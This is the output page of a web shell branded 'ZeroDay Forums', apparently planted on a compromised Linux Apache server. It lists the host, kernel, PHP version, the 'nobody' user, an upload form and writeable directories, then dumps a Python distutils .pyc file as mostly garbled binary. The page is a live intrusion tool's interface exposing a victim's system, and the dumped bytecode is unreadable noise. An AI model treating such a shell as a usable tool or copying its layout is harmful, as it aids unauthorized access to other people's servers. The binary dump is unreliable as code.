Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/alt/python311/lib64/python3.11/distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python311/lib64/python3.11/distutils/__pycache__/util.cpython-311.opt-2.pyc
�

�,d(R���	ddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZddlm
Z
ddlmZd�Zd�Zd	�Zd
�Zdad�Zd�Zdd�Zdxaxaad�Zd�Zdd�Zd�Z				dd�Zd�Zdd�Z 		dd�Z!Gd�d��Z"dS)�N)�DistutilsPlatformError)�newer)�spawn)�log)�DistutilsByteCompileErrorc��	tjdkrrdtj���vrdSdtj���vrdSdtj���vrdStjSdtjvrtjdStjd	ksttd
��stjStj��\}}}}}|����	dd��}|�	d
d��}|�	dd��}|dd�dkr|�d|��S|dd�dkrQ|ddkrDd}dt|d��dz
|dd�fz}ddd�}|d|tjzz
}n�|dd�dkrddlm
}|��S|dd�d krMd }tjd!tj��}|�|��}|r|���}nI|dd�d"kr;ddl}	ddl}
|	�|
j���|||��\}}}|�d|�d|��S)#N�nt�amd64�	win-amd64z(arm)�	win-arm32z(arm64)z	win-arm64�_PYTHON_HOST_PLATFORM�posix�uname�/�� �_�-��linux�sunosr�5�solarisz%d.%s���32bit�64bit)i���l����z.%s�aix)�aix_platform��cygwinz[\d.]+�darwin)�os�name�sys�version�lower�platform�environ�hasattrr�replace�int�maxsize�_aix_supportr�re�compile�ASCII�match�group�_osx_support�distutils.sysconfig�get_platform_osx�	sysconfig�get_config_vars)�osname�host�releaser&�machine�bitnessr�rel_re�mr4�	distutilss           �5/opt/alt/python311/lib64/python3.11/distutils/util.py�get_host_platformrBs����&
�w�$����c�k�'�'�)�)�)�)��;��c�k�'�'�)�)�)�)��;����)�)�+�+�+�+��;��|���"�*�,�,��z�1�2�2�	�w�'�����W�!5�!5���|��13��
�
�-�V�T�7�G�W��\�\�^�^�
#�
#�C��
,�
,�F��o�o�c�3�'�'�G��o�o�c�3�'�'�G�
�b�q�b�z�W���"�6�6�7�7�+�+�	�����w�	�	��1�:�����F���W�Q�Z���1�!4�g�a�b�b�k� B�B�G�#*�w�G�G�G��u�w�s�{�3�3�3�G��	�����u�	�	�-�-�-�-�-�-��|�~�~��	�����x�	�	�����Y���1�1���L�L��!�!���	 ��g�g�i�i�G��	�����x�	�	�0�0�0�0�0�0�0�0�#/�#@�#@�(1�(;�(K�(K�(M�(M�(.���$B�$B� ���� ������'�'�2�2�c���tjdkrFdddd�}|�tj�d����p
t	��St	��S)Nr	�win32rr)�x86�x64�arm�VSCMD_ARG_TGT_ARCH)r#r$�getr)rB)�TARGET_TO_PLATs rA�get_platformrLcs_��	�w�$������
�
��
�!�!�"�*�.�.�1E�"F�"F�G�G�^�K\�K^�K^�^� �"�"�"rCc�N�	tjdkr|S|s|S|ddkrtd|z���|ddkrtd|z���|�d��}d|vr|�d��d|v�|stjStjj|�S)Nrrzpath '%s' cannot be absolute���zpath '%s' cannot end with '/'�.)r#�sep�
ValueError�split�remove�curdir�path�join)�pathname�pathss  rA�convert_pathrYns����
�v��}�}���������{�c����7�(�B�C�C�C���|�s����8�8�C�D�D�D��N�N�3���E�

��,�,�
���S������,�,����y��
�7�<���rCc��	tjdkrgtj�|��s tj�||��Stj�||dd���StjdkrXtj�|��\}}|ddkr
|dd�}tj�||��St
dtjz���)Nr�r	r�\z!nothing known about platform '%s')r#r$rU�isabsrV�
splitdriver)�new_rootrW�driverUs    rA�change_rootra�s����

�w�'����w�}�}�X�&�&�	8��7�<�<��(�3�3�3��7�<�<��(�1�2�2�,�7�7�7�	��D�����*�*�8�4�4�
�����7�d�?�?�����8�D��w�|�|�H�d�+�+�+�%�%H�2�7�%R�S�S�SrCc�X�	trdStjdkrddtjvrV	ddl}|�tj����dtjd<n#ttf$rYnwxYwdtjvrt��tjd<dadS)Nr�HOMErr�PLATr[)
�_environ_checkedr#r$r)�pwd�getpwuid�getuid�ImportError�KeyErrorrL)rfs rA�
check_environrk�s��������	�w�'���f�B�J�6�6�	��J�J�J�!$���b�i�k�k�!:�!:�1�!=�B�J�v�����X�&�	�	�	�
�D�	����
�R�Z���)�^�^��
�6�����s�=A(�(A<�;A<c��	t��|fd�}	tjd||��S#t$r}t	d|z���d}~wwxYw)Nc��|�d��}||vrt||��Stj|S)Nr[)r3�strr#r))r2�
local_vars�var_names   rA�_substzsubst_vars.<locals>._subst�s<���;�;�q�>�>���z�!�!��z�(�+�,�,�,��:�h�'�'rCz\$([a-zA-Z_][a-zA-Z_0-9]*)zinvalid variable '$%s')rkr/�subrjrQ)�srorq�vars    rA�
subst_varsru�sv����O�O�O�",�(�(�(�(�9��v�3�V�Q�?�?�?���9�9�9��1�C�7�8�8�8�����9���s�,�
A
�A�A
�error: c�&�|t|��zS�N)rn)�exc�prefixs  rA�grok_environment_errorr{�s���C��H�H��rCc��tjdtjz��atjd��atjd��adS)Nz
[^\\\'\"%s ]*z'(?:[^'\\]|\\.)*'z"(?:[^"\\]|\\.)*")r/r0�string�
whitespace�
_wordchars_re�
_squote_re�
_dquote_re�rCrA�_init_regexr��s>���J�/�&�2C�C�D�D�M���0�1�1�J���0�1�1�J�J�JrCc�$�	t�t��|���}g}d}|�r�t�||��}|���}|t|��kr|�|d|����n}||tjvr=|�|d|���||d��	��}d}�n||dkr|d|�||dzd�z}|dz}n�||dkrt�||��}n@||dkrt�||��}ntd||z���|�td||z���|���\}}|d|�||dz|dz
�z||d�z}|���dz
}|t|��kr|�|��n|���|S)	Nrr\r[�'�"z!this can't happen (bad char '%c')z"bad string (mismatched %s quotes?)r)rr��stripr2�end�len�appendr}r~�lstripr�r��RuntimeErrorrQ�span)rs�words�posr?r��begs      rA�split_quotedr��s�����k�m�m�m�	���	�	�A��E�
�C�
�"�����3�'�'���e�e�g�g���#�a�&�&�=�=��L�L��4�C�4��!�!�!���S�6�V�&�&�&��L�L��4�C�4��!�!�!��#�$�$���� � �A��C�C�
�s�V�t�^�^��$�3�$��!�C��E�F�F�)�#�A��a�%�C�C���v��}�}��$�$�Q��,�,����3��3����$�$�Q��,�,���"�#F��3��#O�P�P�P��y� �!E��#��!N�O�O�O������J�S�#��$�3�$��!�C��E�#�a�%�K�.�(�1�S�T�T�7�2�A��%�%�'�'�A�+�C��#�a�&�&�=�=��L�L��O�O�O��E�"�H�LrCc��	|�&|j�|��}|dd�dkr
|dd�dz}tj|��|s||�dSdS)N���z,)r�))�__name__r�info)�func�args�msg�verbose�dry_runs     rA�executer�!sp����{��
�
�t�t�,���r�s�s�8�t����a��d�)�c�/�C��H�S�M�M�M�����d������rCc�h�	|���}|dvrdS|dvrdStd|�����)N)�y�yes�t�true�on�1r[)�n�no�f�false�off�0rzinvalid truth value )r'rQ)�vals rA�	strtoboolr�4sM����)�)�+�+�C�
�2�2�2��q�	�5�	5�	5��q��j�S�S�:�;�;�;rCr[c�@�	ddl}tjrtd���|�d}|�s�	ddlm}	|	d��\}
}n##t$rddlm}d|d��}}
YnwxYwtj	d|��|s�|
�tj|
d��}
nt|d��}
|
5|
�
d	��|
�
d
�tt |����dz��|
�
d|�d
|�d|�d|�d|�d���ddd��n#1swxYwYt"j}tjg}|�|�����|�d|�d���|�|��t/||���t1tj|fd|z|���dSddlm}|D�]@}|dd�dkr�|dkr,|dkrdn|}t8j�||���}nt8j�|��}|}|rG|dt?|���|krtAd|�d|�����|t?|��d�}|r tj!�||��}tj!�"|��}|rO|stG||��r'tj	d||��|s
||||����*tj$d||����BdS)Nrzbyte-compiling is disabled.F)�mkstemp�.py)�mktempz$writing byte-compilation script '%s'�wz2from distutils.util import byte_compile
files = [
z,
z]
z
byte_compile(files, optimize=z, force=z,
             prefix=z, base_dir=z,
             verbose=z$, dry_run=0,
             direct=1)
z	-Wignore:z:DeprecationWarning)r�zremoving %s)r0���r)�optimizationzinvalid prefix: filename z doesn't start with zbyte-compiling %s to %sz%skipping byte-compilation of %s to %s)%�
subprocessr%�dont_write_bytecoder�tempfiler�rir�rr�r#�fdopen�open�writerV�map�reprr@�_DEPRECATION_MESSAGE�
executable�extend�"_optim_args_from_interpreter_flagsr�rr�rS�
py_compiler0�	importlib�util�cache_from_sourcer�rQrU�basenamer�debug)�py_files�optimize�forcerz�base_dirr�r��directr�r��	script_fd�script_namer��scriptr��cmdr0�file�opt�cfile�dfile�
cfile_bases                      rA�byte_compiler�Ds"��
�>������G�'�(E�F�F�F��~����Z0�	;�(�(�(�(�(�(�'.�w�u�~�~�$�Y�����	;�	;�	;�'�'�'�'�'�'�'+�V�V�E�]�]��Y�Y�Y�	;����	��7��E�E�E�� 	4��$���9�c�2�2����k�3�/�/���
4�
4��������&���U�Z�Z��D�(�(;�(;�<�<�u�D�E�E�E�����
�x�x����������'�'�'�3�4�4�4�+
4�
4�
4�
4�
4�
4�
4�
4�
4�
4�
4����
4�
4�
4�
4�8�,���~����
�
�:�@�@�B�B�C�C�C��
�
�7�s�7�7�7�8�8�8��
�
�;����
�c�7�#�#�#�#���	�K�>�=�;�+F��	!�	!�	!�	!�	!�	!�	'�&�&�&�&�&�� 	0� 	0�D��B�C�C�y�E�!�!��
�1�}�}�$��M�M�b�b�x��!��8�8��s�9�,�,���"��8�8��>�>���E��
,����V����%��/�/�$�*�"�d�d�F�F�&,�-�-�-��c�&�k�k�l�l�+���
6�����X�u�5�5����)�)�%�0�0�J��
0��0�E�$��.�.�0��H�6��j�I�I�I�"�4����e�U�3�3�3���I�E�"�J�0�0�0��? 	0� 	0s"�>�A�A�"A9D'�'D+�.D+c�\�	|�d��}d}|�|��S)N�
z	
        )rRrV)�header�linesrPs   rA�
rfc822_escaper��s/���
�L�L����E�
�C��8�8�E�?�?�rCc��	|sdSddlm}m}Gd�d|��}|�|d��}|||���}|�|d���dS)	Nr)�RefactoringTool�get_fixers_from_packagec� �eZdZd�Zd�Zd�ZdS)�*run_2to3.<locals>.DistutilsRefactoringToolc�*�tj|g|�R�dSrx)r�error)�selfr�r��kws    rA�	log_errorz4run_2to3.<locals>.DistutilsRefactoringTool.log_error�� ���I�c�!�D�!�!�!�!�!�!rCc�*�tj|g|�R�dSrx)rr��r�r�r�s   rA�log_messagez6run_2to3.<locals>.DistutilsRefactoringTool.log_message�s ���H�S� �4� � � � � � rCc�*�tj|g|�R�dSrx)rr�r�s   rA�	log_debugz4run_2to3.<locals>.DistutilsRefactoringTool.log_debug�r�rCN)r��
__module__�__qualname__r�r�r�r�rCrA�DistutilsRefactoringToolr��sA������	"�	"�	"�	!�	!�	!�	"�	"�	"�	"�	"rCr�z
lib2to3.fixes)�optionsT)r�)�lib2to3.refactorr�r��refactor)�files�fixer_namesr��explicitr�r�r��rs        rA�run_2to3r��s���8�����J�I�I�I�I�I�I�I�"�"�"�"�"�?�"�"�"���-�-�o�>�>�� � ��g�>�>�>�A��J�J�u�D�J�!�!�!�!�!rCc�4�	ddlm}ddlm}ddlm}|��}	t
j��}
t
j|��	|	�	��t
j|
��n#t
j|
��wxYw|	j
|	jdd�<|rC|���D].}|�
��}|s�|	�|���/g}|	jD]�}
tj�||
��}|tj�|����|tj�||
��|d���}|dr|�|����t'd�|D��|||���|S)	Nr)�mkpath)�	copy_file)�FileListr[)�updatec�`�g|]+}|����d���)|��,S)r�)r'�endswith)�.0�fns  rA�
<listcomp>z$copydir_run_2to3.<locals>.<listcomp>s3��
@�
@�
@�R�R�X�X�Z�Z�%8�%8��%?�%?�
@�b�
@�
@�
@rC)r�r�r�)�distutils.dir_utilr��distutils.file_utilr��distutils.filelistr�r#�getcwd�chdir�findall�allfilesr��
splitlinesr��process_template_linerUrV�dirnamer�r�)�src�dest�templater�r�r�r�r�r��filelistrT�line�copied�filename�outname�ress                rA�copydir_run_2to3rs����
*�)�)�)�)�)�-�-�-�-�-�-�+�+�+�+�+�+��x�z�z�H�
�Y�[�[�F��H�S�M�M�M��������
������������������ �)�H�N�1�1�1���1��'�'�)�)�	1�	1�D��:�:�<�<�D��!���*�*�4�0�0�0�0�
�F��N�*�*���'�,�,�t�X�.�.����r�w���w�'�'�(�(�(��i�����S�(�3�3�W�Q�G�G�G���q�6�)�6�=�=��)�)�)���
@�
@�6�
@�
@�
@�$�g��J�J�J�J��Ms�A/�/Bc�"�eZdZ	dZdZdZd�ZdS)�	Mixin2to3Nc�D�t||j|j|j��Srx)r�r�r�r�)r�r�s  rAr�zMixin2to3.run_2to31s����t�/���t�}�M�M�MrC)r�r�r�r�r�r�r�r�rCrArr!sB������(��K��G��H�N�N�N�N�NrCr)rv)Nrr)rrNNr[rN)NNN)NNNN)#r#r/�importlib.utilr�r}r%r@�distutils.errorsr�distutils.dep_utilr�distutils.spawnrrrrBrLrYrarerkrur{rr�r�r�r�r�r�r�r�r�rrr�rCrA�<module>rs���
�	�	�	�	�	�	�	�����
�
�
�
�
�
�
�
�����3�3�3�3�3�3�$�$�$�$�$�$�!�!�!�!�!�!�������6�6�6�6�6�6�N3�N3�N3�`	#�	#�	#� � � �8T�T�T�,�����69�9�9�2����+/�.�
�.�
�Z�2�2�2�8�8�8�z����&
<�
<�
<�"%&�(,�%&��	S0�S0�S0�S0�n���"�"�"�"�6<@�,0�����BN�N�N�N�N�N�N�N�N�NrC

ZeroDay Forums Mini